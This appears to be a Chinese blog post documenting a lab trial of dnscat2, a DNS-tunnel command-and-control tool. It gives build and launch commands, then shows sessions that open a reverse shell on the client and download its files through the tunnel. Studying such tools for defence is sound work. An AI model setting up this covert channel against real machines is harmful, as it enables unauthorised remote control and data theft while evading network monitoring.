DNSCAT2试用 DNSCAT2试用

DNSCAT2试用最近在研究DNS隧道技术，试用了一下DNSCAT2这个隧道软件，记录一下过程。
下载与安装 DNSCAT2有客户端和服务端之分。客户端由纯C编写，服务端使用的ruby。为了安装方便，我选择了Ubuntu18.4LTS来搭建DNSCAT 服务端。
在操作系统安装成功后，首先安装一些依赖包(GCC, ruby)：

sudo apt-get update sudo apt-get install make sudo apt-get install build-essential sudo apt-get install ruby-dev

下载DNSCAT2的源代码：

git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundler install

过程中可能需要安装一些ruby库。在我的搭建过程中，由于最开始安装的是mini版的Ubuntu Server，默认没有安装GCC，而salsa20，sha3这些库是需要编译安装的，因此一直没有装成功。后面按照提示安装了make和gcc之后，顺利地把server安装起来。
接着安装文档中的描述将DNSCat2 Server运行起来，

sudo ruby ./dnscat2.rb your.domain.name --secret=xxxx --security=open --no-cache

由于是在内网做实验，我随便指定了一个域名。此外，秘钥需要记录下来，后续DNSCat client在连接时会有用到。
在运行服务端时需要注意，本地的53端口会被占用，比如在Ubuntu18上，这个端口在回环地址127.0.0.53上被systemd-resolved占用了。默认情况下，server端地址是绑定在0.0.0.0，即本宿主机全部网络接口上，会和systemd-resolved冲突。实际上DNSCat只需要绑定在对外通讯的IP上因此可以在启动时指定IP：

sudo ruby ./dnscat2.rb --dns 'host=172.17.1.47,port=53,domain=a.com,domain=b.com' --secret=xxxx --security=open --no-cache

以上就是Server端的安装工作。下面是Client端要做的事情，比Server端要简单很多。
Client端是纯C代码，无依赖，直接编译后即可运行。

cd dnscat2/client/ make ./dnscat --dns=server=172.17.1.47,port=53 --secret=xxxx

客户端运行成功与服务端建立连接后会产生相关打印：

$ ./dnscat --dns server=172.17.1.47,port=53 --secret=xxxx Creating DNS driver: domain = (null) host= 0.0.0.0 port= 53 type= TXT,CNAME,MX server = 172.17.1.47** Peer verified with pre-shared secret!Session established!

使用作为一款C&C工具，在Client端连接上了以后，可以通过Server端执行一些命令对Client进行控制。
DNSCAT使用window这个概念来标识不同的client，在服务端使用windows命令可以列举当前已连接上来的客户端。

dnscat2> windows 0 :: main [active] crypto-debug :: Debug window for crypto stuff [*] dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*] 1 :: command (ubuntu-test) [encrypted and verified] [*]

其中0是server端主控，1是我们刚才运行连接上来的客户端。

dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session!That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'.command (ubuntu-test) 1>

使用session -i id，进入到某个连接上来的client的session中，我们使用help命令，看一下dnscat支持的功能：

command (ubuntu-test) 1> helpHere is a list of commands (use -h on any of them for additional help): * clear * delay * download * echo * exec * help * listen * ping * quit * set * shell * shutdown * suspend * tunnels * unset * upload * window * windows

使用shell命令创建一个反弹shell。这个反弹shell是创建了另外一个会话，我们需要使用ctrl + D退出当前会话，然后进入对应的反弹shell会话中：

dnscat2> windows 0 :: main [active] crypto-debug :: Debug window for crypto stuff [*] dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*] 1 :: (not set) [cleartext] [*] [idle for 84 seconds] 2 :: (not set) [cleartext] [*] [idle for 84 seconds] 3 :: command (ubuntu-test) [encrypted and verified] 4 :: sh (ubuntu-test) [encrypted and verified] [*] dnscat2> session -i 4 New window created: 4 history_size (session) => 1000 Session 4 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a console session!That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something!To go back, type ctrl-z.sh (ubuntu-test) 4> ls sh (ubuntu-test) 4> controller dnscat dnscat.c dnscat.o drivers libs Makefile Makefile.win tcpcat.c tunnel_drivers win32

接下来就可以在这里使用shell命令了。
此外dnscat2还提供了方便的上传下载命令即：download和upload。在使用时需要知道对应文件的位置。

command (ubuntu-test) 2> download /home/fred/2.txt Attempting to download /home/fred/2.txt to 2.txt command (ubuntu-test) 2> Wrote 28 bytes from /home/fred/2.txt to 2.txt!

下载下来的文件会位于当前server脚本运行目录。
总结 【DNSCAT2试用】本文总结了dnscat2的一些简单的安装和使用方法，仅供研究使用。